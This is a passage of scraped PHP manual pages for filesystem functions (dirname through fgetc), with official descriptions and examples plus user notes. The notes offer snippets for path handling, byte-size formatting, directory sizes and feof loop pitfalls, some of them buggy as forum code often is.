// Is the user using HTTPS?
$url = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on')) ? 'https://' : 'http://';

// Complete the URL
$url .= $_SERVER['HTTP_HOST'] . dirname($_SERVER['PHP_SELF']);

// echo the URL
echo $url;

?>
Anonymous 04-Jun-2008 10:01
A simple way to show the www path to a folder containing a file...

echo "http://".$_SERVER['HTTP_HOST'].dirname($_SERVER['PHP_SELF']);
rmahase at gmail dot com 12-May-2008 08:31
this little function gets the top level public directory

eg. http://www.mysite.com/directory1/file.php

or http://www.mysite.com/directory1/directory2/directory3/file.php

will both return "directory1" ...which is the top level directory

<?php
function public_base_directory()
{
    //get public directory structure eg "/top/second/third"
    $public_directory = dirname($_SERVER['PHP_SELF']);
    //place each directory into array
    $directory_array = explode('/', $public_directory);
    //get highest or top level in array of directory strings
    $public_base = max($directory_array);

    return $public_base;
}
?>
ts at dev dot websafe dot pl 24-Mar-2008 12:55
Inside of script.php I needed to know the name of the containing directory. For example, if my script was in '/var/www/htdocs/website/somedir/script.php' i needed to know 'somedir' in a unified way.

The solution is:
<?php
$containing_dir = basename(dirname(__FILE__));
?>
Zingus J. Rinkle 10-Sep-2007 07:55
Most mkpath() function I saw listed here seem long and convoluted.
Here's mine:

<?php
  function mkpath($path)
  {
    if(@mkdir($path) or file_exists($path)) return true;
    return (mkpath(dirname($path)) and mkdir($path));
  }
?>

Untested on windows, but dirname() manual says it should work.
hans111 at yahoo dot com 27-Jan-2007 01:25
The same function but a bit improved, will use REQUEST_URI, if not available, will use PHP_SELF and if not available will use __FILE__, in this case, the function MUST be in the same file. It should work, both under Windows and *NIX.

<?php
function my_dir(){
    return end(explode('/', dirname(!empty($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : !empty($_SERVER['PHP_SELF']) ? $_SERVER['PHP_SELF'] : str_replace('\\','/',__FILE__))));
}

?>
Xedecimal at gmail dot com 24-Oct-2006 08:35
Getting absolute path of the current script:

<?php
dirname(__FILE__)
?>

Getting webserver relative path of the current script...

<?php
function GetRelativePath($path)
{
    $npath = str_replace('\\', '/', $path);
    return str_replace(GetVar('DOCUMENT_ROOT'), '', $npath);
}
?>

later on

<?php
GetRelativePath(dirname(__FILE__));
?>

If anyone has a better way, get to the constructive critisism!
legolas558 dot sourceforge comma net 10-Jul-2006 03:52
The best way to get the absolute path of the folder of the currently parsed PHP script is:

<?php

if (DIRECTORY_SEPARATOR=='/')
  $absolute_path = dirname(__FILE__).'/';
else
  $absolute_path = str_replace('\\', '/', dirname(__FILE__)).'/';

?>

This will result in an absolute unix-style path which works ok also on PHP5 under Windows, where mixing '\' and '/' may give troubles.

[EDIT by danbrown AT php DOT net: Applied author-supplied fix from follow-up note.]
renich at woralelandia dot com 10-Aug-2005 07:15
--- Edited by tularis@php.net ---
You could also have a look at the getcwd() function
--- End Edit ---

A nice "current directory" function.

function current_dir()
{
$path = dirname($_SERVER[PHP_SELF]);
$position = strrpos($path,'/') + 1;
print substr($path,$position);
}

current_dir();

I find this usefull for a lot of stuff! You can maintain a modular site with dir names as modules names. At least I would like PHP guys to add this to the function list!

If there is anything out there like it, please tell me.
klugg this-is-junk at tlen dot pl 18-Jul-2005 04:14
Attention with this. Dirname likes to mess with the slashes.
On Windows, Apache:

<?php
echo '$_SERVER[PHP_SELF]: ' . $_SERVER['PHP_SELF'] . '<br />';
echo 'Dirname($_SERVER[PHP_SELF]: ' . dirname($_SERVER['PHP_SELF']) . '<br>';
?>

prints out

$_SERVER[PHP_SELF]: /index.php
Dirname($_SERVER[PHP_SELF]: \
tobylewis at mac dot com 24-Jun-2005 03:52
Since the paths in the examples given only have two parts (e.g. "/etc/passwd") it is not obvious whether dirname returns the single path element of the parent directory or whether it returns the whole path up to and including the parent directory.  From experimentation it appears to be the latter.

e.g.

dirname('/usr/local/magic/bin');

returns '/usr/local/magic'  and not just 'magic'

Also it is not immediately obvious that dirname effectively returns the parent directory of the last item of the path regardless of whether the last item is a directory or a file.  (i.e. one might think that if the path given was a directory then dirname would return the entire original path since that is a directory name.)

Further the presense of a directory separator at the end of the path does not necessarily indicate that last item of the path is a directory, and so

dirname('/usr/local/magic/bin/');  #note final '/'

would return the same result as in my example above.

In short this seems to be more of a string manipulation function that strips off the last non-null file or directory element off of a path string.
28-Apr-2005 12:31
If you merely want to find out wether a certain file is located within or underneath a certain directory or not, e.g. for White List validation, the following function might be useful to you:

<?php
  function in_dir ($file, $in_dir)
  {
      $dir    = realpath ($file);
      $in_dir = realpath ($in_dir);

      if (!is_dir ($file)) {
          $dir = dirname ($file);
      }

      do {
          if ($dir === $in_dir) {
              $is_in_dir = TRUE;
              break;
          }
      } while ($dir !== ($dir = dirname ($dir)));

      return (bool) @$is_in_dir;
  }
?>
soywiz at hotmail dot com 02-Jan-2004 03:41
You can use it to get parent directory:

dirname(dirname(__FILE__))

...include a file relative to file path:

include(dirname(__FILE__) . '/path/relative/file_to_include.php');

..etc.
andrey at php dot net 14-Jan-2003 04:02
Code for write permissions check:

<?php
error_reporting(E_ALL);
$dir_name = '/var/www/virtual/phpintra/htdocs/php/';
do {
    $b_is_writable = is_writable($dir_name);
    echo sprintf("Dir[%s]Writable[%s]\n", $dir_name, $b_is_writable? 'YES':'NO');
}while (($dir_name = dirname($dir_name)) !='/');
?>
rudecoder at yahoo dot com 11-Jan-2003 09:43
dirname can be used to create self referencing web scripts with the following one liner.

<?php
$base_url = str_replace($DOCUMENT_ROOT, "", dirname($PHP_SELF));
?>

Using this method on a file such as:

/home/mysite/public_html/wherever/whatever.php

will return:

/wherever

Now $base_url can be used in your HTML to reference other scripts in the same directory.

Example:

href='<?=$base_url?>/myscript.php'
dave at corecomm dot us 08-Jan-2003 07:20
I very much appreciated Fredrich Echol's suggestion (rwf at gpcom dot net) of how to find a base path, but found that it failed when the initial script was already in the root folder -- dirname('/rootscript.php')=='/' and dirname('/include/includescript.php')=='/include' which have the same number of slashes. This variation is what I'm now using:

<?php
if (!defined("BASE_PATH")) define('BASE_PATH', dirname($_SERVER['SCRIPT_NAME'])=='/' ? './' : str_repeat("../",  substr_count(dirname($_SERVER["SCRIPT_NAME"]), "/")));
?>

This explicitly checks for the root path (/) and uses './' as the base path if we're in the root folder.
I put this at/near the top of any file that calls another. (I used define for my own convenience; should work just fine with variables and without testing to see if you already did it.)

Note that in both cases (root-folder script and non-root-folder script), BASE_PATH will include a trailing slash. At least with Apache on Darwin (Mac OS X), you can include(BASE_PATH.'/myfile.php'); and the doubled slash won't cause any problems, giving the same result as include(BASE_PATH.'myfile.php'); .
tapken at engter dot de 30-Apr-2002 09:09
To get the directory of current included file:

<?php
dirname(__FILE__);
?>

For example, if a script called 'database.init.php' which is included from anywhere on the filesystem wants to include the script 'database.class.php', which lays in the same directory, you can use:

<?php
include_once(dirname(__FILE__) . '/database.class.php');
?>


Returns available space on filesystem or disk partition

  • « dirname
  • disk_total_space »
  • PHP Manual
  • Filesystem Functions
  • Returns available space on filesystem or disk partition

disk_free_space

(PHP 4 >= 4.1.0, PHP 5)

disk_free_space — Returns available space on filesystem or disk partition

Description

float disk_free_space ( string $directory )

Given a string containing a directory, this function will return the number of bytes available on the corresponding filesystem or disk partition.

Parameters

directory

A directory of the filesystem or disk partition.

Note:

Given a file name instead of a directory, the behaviour of the function is unspecified and may differ between operating systems and PHP versions.

Return Values

Returns the number of available bytes as a float or FALSE on failure.

Examples

Example #1 disk_free_space() example

<?php
// $df contains the number of bytes available on "/"
$df = disk_free_space("/");

// On Windows:
$df_c = disk_free_space("C:");
$df_d = disk_free_space("D:");
?>

Notes

Note: This function will not work on remote files as the file to be examined must be accessible via the server's filesystem.

See Also

  • disk_total_space() - Returns the total size of a filesystem or disk partition

User Contributed Notes

Anonymous 21-Jul-2014 06:14
$si_prefix = array( 'B', 'KB', 'MB', 'GB', 'TB', 'EB', 'ZB', 'YB' );

you are missing the petabyte after terabyte

 'B', 'KB', 'MB', 'GB', 'TB', 'EB', 'ZB', 'YB'

should look like

 'B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'
wiede at gmx dot net 11-Apr-2011 02:36
Transformation is possible WITHOUT using loops:

<?php
    $bytes = disk_free_space(".");
    $si_prefix = array( 'B', 'KB', 'MB', 'GB', 'TB', 'EB', 'ZB', 'YB' );
    $base = 1024;
    $class = min((int)log($bytes , $base) , count($si_prefix) - 1);
    echo $bytes . '<br />';
    echo sprintf('%1.2f' , $bytes / pow($base,$class)) . ' ' . $si_prefix[$class] . '<br />';
?>
sam 17-Dec-2008 10:52
Nice, but please be aware of the prefixes.

SI specifies a lower case 'k' as 1'000 prefix.
It doesn't make sense to use an upper case 'K' as binary prefix,
while the decimal Mega (M and following) prefixes in SI are uppercase.
Furthermore, there are REAL binary prefixes since a few years.

Do it the (newest and recommended) "IEC" way:

KB's are calculated decimal; power of 10 (1000 bytes each)
KiB's are calculated binary; power of 2 (1024 bytes each).
The same goes for MB, MiB and so on...

Feel free to read:
http://en.wikipedia.org/wiki/Binary_prefix
root at mantoru dot de 06-Dec-2007 05:25
Note that disk_free_space() does an open_basedir check.
Nitrogen 11-Jan-2007 02:50
Another easy way to convert bytes to human readable sizes would be this:

<?php
function HumanSize($Bytes)
{
  $Type=array("", "kilo", "mega", "giga", "tera", "peta", "exa", "zetta", "yotta");
  $Index=0;
  while($Bytes>=1024)
  {
    $Bytes/=1024;
    $Index++;
  }
  return("".$Bytes." ".$Type[$Index]."bytes");
}
?>

It simply takes the $Bytes and divides it by 1024 bytes untill it's no longer over or equal to 1024, meanwhile it increases the $Index to allocate which suffix belongs to the return (adding 'bytes' to the end to save some space).
You can easily modify it so it's shorter, but I made it so it's more clearer.

Nitrogen.


Returns the total size of a filesystem or disk partition

  • « disk_free_space
  • diskfreespace »
  • PHP Manual
  • Filesystem Functions
  • Returns the total size of a filesystem or disk partition

disk_total_space

(PHP 4 >= 4.1.0, PHP 5)

disk_total_space — Returns the total size of a filesystem or disk partition

Description

float disk_total_space ( string $directory )

Given a string containing a directory, this function will return the total number of bytes on the corresponding filesystem or disk partition.

Parameters

directory

A directory of the filesystem or disk partition.

Return Values

Returns the total number of bytes as a float or FALSE on failure.

Examples

Example #1 disk_total_space() example

<?php
// $ds contains the total number of bytes available on "/"
$ds = disk_total_space("/");

// On Windows:
$ds = disk_total_space("C:");
$ds = disk_total_space("D:");
?>

Notes

Note: This function will not work on remote files as the file to be examined must be accessible via the server's filesystem.

See Also

  • disk_free_space() - Returns available space on filesystem or disk partition

User Contributed Notes

ryan at designedbyrayn dot co dot uk 30-Jan-2014 06:06
<?php

//This is  a more readable way of viewing the returned float

// $Bytes contains the total number of bytes on "/"
$Bytes = disk_total_space("/");

function dataSize($Bytes)
{
$Type=array("", "kilo", "mega", "giga", "tera");
$counter=0;
while($Bytes>=1024)
{
$Bytes/=1024;
$counter++;
}
return("".$Bytes." ".$Type[$counter]."bytes");
}
?>
khumlo at gmail dot com 23-May-2010 10:36
PHP 6 has already come to the market but still there are no standard function that can help retrieve directory size as it has to calculate disk space such as disk_total_space. Although we can use system level call such as exec() and system(), it is too risky to enable these function. So we look for an alternate method so as to calculate directory size.

Sol: retrieving directory size using php

<?php

function get_dir_size($dir_name){
        $dir_size =0;
           if (is_dir($dir_name)) {
               if ($dh = opendir($dir_name)) {
                  while (($file = readdir($dh)) !== false) {
                        if($file !=”.” && $file != “..”){
                              if(is_file($dir_name.”/”.$file)){
                                   $dir_size += filesize($dir_name.”/”.$file);
                             }
                             /* check for any new directory inside this directory */
                             if(is_dir($dir_name.”/”.$file)){
                                $dir_size +=  get_dir_size($dir_name.”/”.$file);
                              }
                           }
                     }
             }
       }
closedir($dh);
return $dir_size;
}

$dir_name = “directory name here”;
/* 1048576 bytes == 1MB */
$total_size= round((get_dir_size($dir_name) / 1048576),2) ;
print “Directory $dir_name size : $total_size MB”;
?>

Depending upon the size format you want to achieve, divide directory size by 1024 or 1024 * 1024 or 1024 * 1024 * 1024 for KB or MB or GB respectively.
cotact[at]covac-software[dot]com 25-Dec-2009 03:52
Something that might go well with this function is the ability to list available disks. On Windows, here's the relevant code:

<?php
/**
 * Finds a list of disk drives on the server.
 * @return array The array velues are the existing disks.
 */
function get_disks(){
    if(php_uname('s')=='Windows NT'){
        // windows
        $disks=`fsutil fsinfo drives`;
        $disks=str_word_count($disks,1);
        if($disks[0]!='Drives')return '';
        unset($disks[0]);
        foreach($disks as $key=>$disk)$disks[$key]=$disk.':\\';
        return $disks;
    }else{
        // unix
        $data=`mount`;
        $data=explode(' ',$data);
        $disks=array();
        foreach($data as $token)if(substr($token,0,5)=='/dev/')$disks[]=$token;
        return $disks;
    }
}
?>

EXAMPLE OF USE:
<?php print_r(get_disks()); ?>

EXAMPLE RESULT:
Array
(
    [1] => A:\
    [2] => C:\
    [3] => D:\
    [4] => E:\
    [5] => F:\
    [6] => G:\
    [7] => H:\
    [8] => I:\
    [9] => M:\
    [10] => X:\
    [11] => Z:\
)

Warning: This also finds empty disk drives (eg; CD or SMD drives or the more common floppy drive).

Warning2: If you want to find space usage using the info from my function, prepend the disk function with the "@", eg:

$free=@disk_free_space('A:\\');
Viitala 04-Feb-2008 10:04
Beware of empty files!

<?php

    // Wrong
    $exp = floor(log($bytes) / log(1024));

    //Correct
    $exp = $bytes ? floor(log($bytes) / log(1024)) : 0;

?>
tularis at php dot net 25-Jun-2007 12:13
For a non-looping way to add symbols to a number of bytes:
<?php
function getSymbolByQuantity($bytes) {
    $symbols = array('B', 'KiB', 'MiB', 'GiB', 'TiB', 'PiB', 'EiB', 'ZiB', 'YiB');
    $exp = floor(log($bytes)/log(1024));

    return sprintf('%.2f '.$symbol[$exp], ($bytes/pow(1024, floor($exp))));
}
stierguy1 at msn dot com 25-Jun-2007 04:03
function roundsize($size){
    $i=0;
    $iec = array("B", "Kb", "Mb", "Gb", "Tb");
    while (($size/1024)>1) {
        $size=$size/1024;
        $i++;}
    return(round($size,1)." ".$iec[$i]);}
nikolayku at tut dot by 17-Apr-2007 10:16
Very simple function that convert bytes to kilobytes, megabytes ...

function ConvertBytes($number)
{
    $len = strlen($number);
    if($len < 4)
    {
        return sprintf("%d b", $number);
    }
    if($len >= 4 && $len <=6)
    {
        return sprintf("%0.2f Kb", $number/1024);
    }
    if($len >= 7 && $len <=9)
    {
        return sprintf("%0.2f Mb", $number/1024/1024);
    }

    return sprintf("%0.2f Gb", $number/1024/1024/1024);

}
JulieC 31-Jan-2007 04:11
"filesystem or disk partition" does not equal "directory" for Windows.  Thanks.
andudi at gmx dot ch 12-Jun-2002 12:15
To find the total size of a file/directory you have to differ two situations:
(on Linux/Unix based systems only!?)

you are interested:
1) in the total size of the files in the dir/subdirs
2) what place on the disk your dir/subdirs/files uses

- 1) and 2) normaly differs, depending on the size of the inodes
- mostly 2) is greater than 1) (in the order of any kB)
- filesize($file) gives 1)
- "du -ab $file" gives 2)

so you have to choose your situation!

on my server I have no rights to use "exec du" in the case of 2), so I use:
  $s = stat($file);
  $size = $s[11]*$s[12]/8);
whitch is counting the inodes [12] times the size of them in Bits [11]

hopes this helps to count the used disk place in a right way... :-)

                     Andreas Dick


Alias of disk_free_space

  • « disk_total_space
  • fclose »
  • PHP Manual
  • Filesystem Functions
  • Alias of disk_free_space

diskfreespace

(PHP 4, PHP 5)

diskfreespace — Alias of disk_free_space()

Description

This function is an alias of: disk_free_space().

User Contributed Notes

There are no user contributed notes for this page.


Closes an open file pointer

  • « diskfreespace
  • feof »
  • PHP Manual
  • Filesystem Functions
  • Closes an open file pointer

fclose

(PHP 4, PHP 5)

fclose — Closes an open file pointer

Description

bool fclose ( resource $handle )

The file pointed to by handle is closed.

Parameters

handle

The file pointer must be valid, and must point to a file successfully opened by fopen() or fsockopen().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 A simple fclose() example

<?php

$handle = fopen('somefile.txt', 'r');

fclose($handle);

?>

See Also

  • fopen() - Opens file or URL
  • fsockopen() - Open Internet or Unix domain socket connection

User Contributed Notes

tom dot vom dot berg at online dot de 29-Apr-2014 05:38
if you want to daysychain a filehandle through some functions and each function is allowed to close th file you might look in a following function first, if the handle is still valid.

Opening a file, there often will be used a code like

if (!$fh = fopen($filename, $mode)) return false;

But if you possably have closed the file and you want to check that, a smililar statement would not work.

DOES NOT WORK:   if (!$fh)  end_of_chain();

use beter: if (is_resource($fh))   end_of_chain();
jgotti 08-Sep-2012 03:25
In case you have some trouble to properly disconnect some client streams opened with stream_socket_server / stream_select you should give a try to stream_socket_shutdown.

<?php stream_socket_shutdown($clientStream,STREAM_SHUT_RDWR); ?>
crrodriguez at opensuse dot org 12-May-2010 06:05
Note that since PHP 5.3.2 fclose() no longer unlock open file descriptors at shutdown.
sineld at sineld dot com 23-Nov-2006 01:50
Do not forget, if you are going to read the contents of the file which you have already written via fwrite() or else you have to close the file first.
mark at markvange * com 05-May-2006 06:17
It is very important to make sure you clear any incoming packets out of the incoming buffer using fread() or some equivalent.  Although you can call fclose() the socket does not actually shut down until the inbound packets have been cleared.  This can lead to some confusion.
williamhamby at williamhamby dot net 08-Apr-2006 03:19
Trying to understand how 'end foreach' and 'endwhile' differ, I've encountered a problem I can't solve by myself. The following is a fairly easy stock portfolio script. Everything works, except at the end where I want to calculate the average of the gains as represented by $gain[$i].

<?php
$quantity="3";
$stocks=array("iso","grn","bdgr.pk");
$buydates=array("3 jan 2006","1 feb 2006","3 apr 2006");
$prices=array("0.32","0.20","0.95");
$recommends=array("hold","strong buy","buy");
$i=0;
echo"<tr>";
echo "\n<th align='center'>ticker</th>";
echo "\n<th align='center'>buy date</th>";
echo "\n<th align='center'>price $</th>";
echo "\n<th align='center'>recommend</th>";
echo "\n<th align='center'>value $</th>";
echo "\n<th align='center'>change %</th>\n</tr>\n";
foreach($stocks as $stock) {
$fp=fopen("http://","r");
$data=fgetcsv($fp,1000,",");
$values=$data[1];
echo "<tr>\n<td align='center'>".$stock."</td>";
echo "\n<td align='center'>".$buydates[$i]."</td>";
echo "\n<td align='center'>".$prices[$i]."</td>";
echo "\n<td align='center'>".$recommends[$i]."</td>";
echo "\n<td align='center'>".$values."</td>\n<td align='center'>";
echo $gain[$i]=round(((($values-$prices[$i])/$prices[$i])*100),2);
echo "</td>\n</tr>";
fclose ($fp);
$i++;
}
echo "\n<tr>\n<td align='center'>".$gain[$i]."<td>\n</tr>\n";
?>

Help?
James R. Steel 28-Nov-2005 06:02
In response to kumar mcmillan 'gotcha' note below, we get a different result on a W2K machine:

<?php
$file_pointer = fopen('textfile.dat', 'r');
fclose($file_pointer);
echo '$file_pointer is resource = ' . (is_resource($file_pointer) ? 'true': 'false');
?>

output:
$file_pointer is resource = false
kit dot lester at lycos dot co dot uk 18-Sep-2005 02:34
fclose() also clears any locks on the file, so if another process was being kept waiting for the lock to be cleared, fclose()ing will allow the other process to continue.

[Another "just-in-case" reason to habitually fclose() all files as soon as practical!]
jricher at jacquesricher dot com 01-Feb-2005 03:06
It is a GOOD_THING to check the return value from fclose(), as some operating systems only flush file output on close, and can, therefore, return an error from fclose(). You can catch severe data-eating errors by doing this.

I learned this the hard way.
kumar mcmillan 30-Sep-2004 09:10
gotcha:

<?php

$file_pointer = fopen('data.dat', 'r');
fclose($file_pointer);

echo '$file_pointer is resource = ' . (is_resource($file_pointer) ? 'true': 'false');

?>

output:
$file_pointer is resource = true
daniel7 dot martinez at ps dot ge dot com 11-Sep-2001 01:06
Generally, it's always a good idea to close a file when you're done with it. It's very easy for something to go wrong and corrupt a file that hasn't been closed properly. If you're concerned about efficiency, the overhead is negligible.


Tests for end-of-file on a file pointer

  • « fclose
  • fflush »
  • PHP Manual
  • Filesystem Functions
  • Tests for end-of-file on a file pointer

feof

(PHP 4, PHP 5)

feof — Tests for end-of-file on a file pointer

Description

bool feof ( resource $handle )

Tests for end-of-file on a file pointer.

Parameters

handle

The file pointer must be valid, and must point to a file successfully opened by fopen() or fsockopen() (and not yet closed by fclose()).

Return Values

Returns TRUE if the file pointer is at EOF or an error occurs (including socket timeout); otherwise returns FALSE.

Notes

Warning

If a connection opened by fsockopen() wasn't closed by the server, feof() will hang. To workaround this, see below example:

Example #1 Handling timeouts with feof()

<?php
function safe_feof($fp, &$start = NULL) {
 $start = microtime(true);

 return feof($fp);
}

/* Assuming $fp is previously opened by fsockopen() */

$start = NULL;
$timeout = ini_get('default_socket_timeout');

while(!safe_feof($fp, $start) && (microtime(true) - $start) < $timeout)
{
 /* Handle */
}
?>

Warning

If the passed file pointer is not valid you may get an infinite loop, because feof() fails to return TRUE.

Example #2 feof() example with an invalid file pointer

<?php
// if file can not be read or doesn't exist fopen function returns FALSE
$file = @fopen("no_such_file", "r");

// FALSE from fopen will issue warning and result in infinite loop here
while (!feof($file)) {
}

fclose($file);
?>

User Contributed Notes

Alwar 02-Oct-2013 04:41
Don't use feof to test if you have readed all data sent by the other end of the socket. As i know it would return true only when the other end closes the connection.
dewi at dewimorgan dot com 10-Feb-2012 08:17
Return values in the documentation are incorrectly stated. It says:

Returns TRUE if the file pointer is at EOF or an error occurs (including socket timeout); otherwise returns FALSE.

Correct text would be more like:

Returns FALSE if no filehandle was passed;
returns NULL if no filehandle was passed;
returns TRUE if the file pointer is at EOF or an error occurs (including socket timeout);
otherwise returns FALSE.

As an example, running the following from the commandline:

php -r 'echo
    "Empty: ".var_export(feof(), true)."\n".
    "Null: ".var_export(feof(NULL), true)."\n".
    "Undefined: ".var_export(feof($undef), true)."\n"
;'

This will output:

PHP Warning:  Wrong parameter count for feof() in Command line code on line 1
PHP Warning:  feof(): supplied argument is not a valid stream resource in Command line code on line 1
PHP Warning:  feof(): supplied argument is not a valid stream resource in Command line code on line 1

Empty: NULL
Null: false
Undefined: false

This can, as other commenters have reported, result in infinite loops and massive PHP error logfiles, if the file handle returned by fopen() is invalid for any reason.
sudo dot adam dot carruthers at gmail dot com 07-Feb-2010 06:01
When using feof() on a TCP stream, i found the following to work (after many hours of frustration and anger):

NOTE: I used ";" to denote the end of data transmission.  This can be modified to whatever the server's end of file or in this case, end of output character is.

<?php
        $cursor = "";
        $inData = "";

        while(strcmp($cursor, ";") != 0) {
            $cursor = fgetc($sock);
            $inData.= $cursor;
        }
        fclose($sock);
        echo($inData);
?>

Since strcmp() returns 0 when the two strings are equal, it will return non zero as long as the cursor is not ";".  Using the above method will add ";" to the string, but the fix for this is simple.

<?php
        $cursor = "";
        $inData = "";

         $cursor = fgetc($sock);
        while(strcmp($cursor, ";") != 0) {
            $inData.= $cursor;
        }
        fclose($sock);
        echo($inData);
?>

I hope this helps someone.
jakicoll 03-Jan-2010 01:59
Please note that feof() used with TCP-Connections, returns false as long as the connection is open.
It even returns false when there is no data available.

BTW: Using feof() with HTTP for a single request, you should always make sure that you set the HTTP-Header "Connection" to "close" and _not_ to "keep-alive".
honzam+php at ipdgroup dot com 28-Feb-2008 11:17
Johannes: Remember note from stream_get_meta_data page: For socket streams this member [eof] can be TRUE  even when unread_bytes  is non-zero. To determine if there is more data to be read, use feof() instead of reading this item.

Another thing: better not rely on the "including socket timeout" part of when feof returns true. Just found program looping two days in while(!feof($fd)) fread ... with 20 seconds timeout in PHP 4.3.10.
Jet 19-Sep-2007 04:03
To avoid infinite loop with fgets() just use do..while statement.

<?php
if ($f = fopen('myfile.txt', 'r')) do {
    $line = fgets($f);
    // do any stuff here...
} while (!feof($f));
fclose($f);
cmr at forestfactory dot de 19-Nov-2006 05:57
Here's solution 3:

<?
$fp = fopen("myfile.txt", "r");
while ( ($current_line = fgets($fp)) !== false ) {
  // do stuff to the current line here
}
fclose($fp);
?>

AFAICS fgets() never returns an empty string, so we can also write:

<?
$fp = fopen("myfile.txt", "r");
while ( $current_line = fgets($fp) ) {
  // do stuff to the current line here
}
fclose($fp);
?>
Tom 25-Oct-2006 12:27
feof() is, in fact, reliable.  However, you have to use it carefully in conjunction with fgets().  A common (but incorrect) approach is to try something like this:

<?
$fp = fopen("myfile.txt", "r");
while (!feof($fp)) {
  $current_line = fgets($fp);
  // do stuff to the current line here
}
fclose($fp);
?>

The problem when processing plain text files is that feof() will not return true after getting the last line of input.  You need to try to get input _and fail_ before feof() returns true.  You can think of the loop above working like this:

* (merrily looping, getting lines and processing them)
* fgets used to get 2nd to last line
* line is processed
* loop back up -- feof returns false, so do the steps inside the loop
* fgets used to get last line
* line is processed
* loop back up -- since the last call to fgets worked (you got the last line), feof still returns false, so you do the steps inside the loop again
* fgets used to try to get another line (but there's nothing there!)
* your code doesn't realize this, and tries to process this non-existent line (typically by doing the same actions again)
* now when your code loops back up, feof returns true, and your loop ends

There's two ways to solve this:

1. You can put an additional test for feof() inside the loop
2. You can move around your calls to fgets() so that the testing of feof() happens in a better location

Here's solution 1:

<?
$fp = fopen("myfile.txt", "r");
while(!feof($fp)) {
  $current_line = fgets($fp);
  if (!feof($fp)) {
    // process current line
  }
}
fclose($fp);
?>

And here's solution 2 (IMHO, more elegant):

<?
$fp = fopen("myfile.txt", "r");
$current_line = fgets($fp);
while (!feof($fp)) {
  // process current line
  $current_line = fgets($fp);
}
fclose($fp);
?>

FYI, the eof() function in C++ works the exact same way, so this isn't just some weird PHP thing...
ironoxid at libero dot it 06-Jun-2006 03:52
I really thought that the feof() was TRUE when the logical file pointer is a EOF.
but no !
we need to read and get an empty record before the eof() reports TRUE.

So

$fp = fopen('test.bin','rb');
while(!feof($fp)) {
  $c = fgetc($fp);
  // ... do something with $c
  echo ftell($fp), ",";
}
echo 'EOF!';

prints for two time the last byte position.
If our file length is 5 byte this code prints

0,1,2,3,4,5,5,EOF!

Because of this, you have to do another check to verify if fgetc really reads another byte (to prevent error on "do something with $c" ^_^).

To prevent errors you have to use this code

$fp = fopen('test.bin','rb');
while(!feof($fp)) {
  $c = fgetc($fp);
  if($c === false) break;
  // ... do something with $c
}

but this is the same of

$fp = fopen('test.bin','rb');
while(($c = fgetc($fp))!==false) {
  // ... do something with $c
}

Consequently feof() is simply useless.
Before write this note I want to submit this as a php bug but one php developer said that this does not imply a bug in PHP itself (http://bugs.php.net/bug.php?id=35136&edit=2).

If this is not a bug I think that this need at least to be noticed.

Sorry for my bad english.
Bye ;)
m a p o p a at g m a i l. c o m 03-Jun-2006 02:58
you  can avoid the infinite loop and filling the error logs
by an simple if statement
Here is the example

    $handle = fopen("http://xml.weather.yahoo.com/forecastrss?p=AYXX0008&u=f", "r");
    $xml = "";
    if ($handle)
    {
       while (!feof($handle))
       {
           $xml .= fread($handle, 128);
       }
        fclose($handle);
    }
02-Jan-2006 03:27
if you use fseek function to pos the pointer exceed the size the file,feof still return true.so note that when you use feof as the condition of while loop.
01-Aug-2005 07:21
if you hit an feof() infinite loop, watch out for resultant humongous logs, they can cripple a site with hard disk usage limits or run up excess usage fees.
04-Mar-2005 06:02
if you're worried the file pointer is invalid, TEST IT before you go into your loop... that way it'll never be an infinite loop.
Johannes 12-Mar-2004 11:47
I found feof() to be a slow function when using a non-blocking connection.

The function stream_get_meta_data() returns much quicker and has a return field 'eof'.


Flushes the output to a file

  • « feof
  • fgetc »
  • PHP Manual
  • Filesystem Functions
  • Flushes the output to a file

fflush

(PHP 4 >= 4.0.1, PHP 5)

fflush — Flushes the output to a file

Description

bool fflush ( resource $handle )

This function forces a write of all buffered output to the resource pointed to by the file handle.

Parameters

handle

The file pointer must be valid, and must point to a file successfully opened by fopen() or fsockopen() (and not yet closed by fclose()).

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 File write example using fflush()

<?php
$filename = 'bar.txt';

$file = fopen($filename, 'r+');
rewind($file);
fwrite($file, 'Foo');
fflush($file);
ftruncate($file, ftell($file));
fclose($file);
?>

See Also

  • clearstatcache() - Clears file status cache
  • fwrite() - Binary-safe file write

User Contributed Notes

oryan at zareste dot com 31-Oct-2005 01:48
Just a note that fflush takes care of the cache already, at least on my server.  Using clearstatcache before reading a previously written file also worked, but lagged the output time much more noticeably (by two or three seconds), probably due to excess cache erasing beyond files.
jzho327 at cse dot unsw dot edu dot au 27-Jan-2003 09:27
Sorry, the note I previously added regarding fflush() has a bug!

when you read file by calling
$fp = fopen("myfile", "a+");

and you wish to read the content, you have to call
rewind($fp) before you attemp to read it. (Silly me) Or else if you tried something like
$fp = fopen("myfile", "a+");
$content = fread($fp);

// show that content is in fact null
if ($content == NULL)
 print "but it must be first put to rewind<br>\n";

will result

but it must be first put to rewind.
[new line]

in fact, if you are not careful (like me), and you opened it with
$fp = fopen("myfile", "r+");
$content = fread($fp);
..
// do something with content
..
then you tried to again
$content = fread($fp);
without rewind, you'd get NULL again. This sounds trivial, but if you work with several file resources, with freads and fopens everywhere, you can get easily lost. So becareful.


Gets character from file pointer

  • « fflush
  • fgetcsv »
  • PHP Manual
  • Filesystem Functions
  • Gets character from file pointer

fgetc

(PHP 4, PHP 5)

fgetc — Gets character from file pointer

Description

string fgetc ( resource $handle )

Gets a character from the given file pointer.

Parameters

handle

The file pointer must be valid, and must point to a file successfully opened by fopen() or fsockopen() (and not yet closed by fclose()).

Return Values

Returns a string containing a single character read from the file pointed to by handle. Returns FALSE on EOF.

Warning

This function may return Boolean FALSE, but may also return a non-Boolean value which evaluates to FALSE. Please read the section on Booleans for more information. Use the === operator for testing the return value of this function.

Examples

Example #1 A fgetc() example

<?php
$fp = fopen('somefile.txt', 'r');
if (!$fp) {
    echo 'Could not open file somefile.txt';
}
while (false !== ($char = fgetc($fp))) {
    echo "$char\n";
}
?>

Notes

Note: This function is binary-safe.

See Also

  • fread() - Binary-safe file read
  • fopen() - Opens file or URL
  • popen() - Opens process file pointer
  • fsockopen() - Open Internet or Unix domain socket connection
  • fgets() - Gets line from file pointer

User Contributed Notes

spaceftp at legtux dot org 04-Sep-2013 06:32
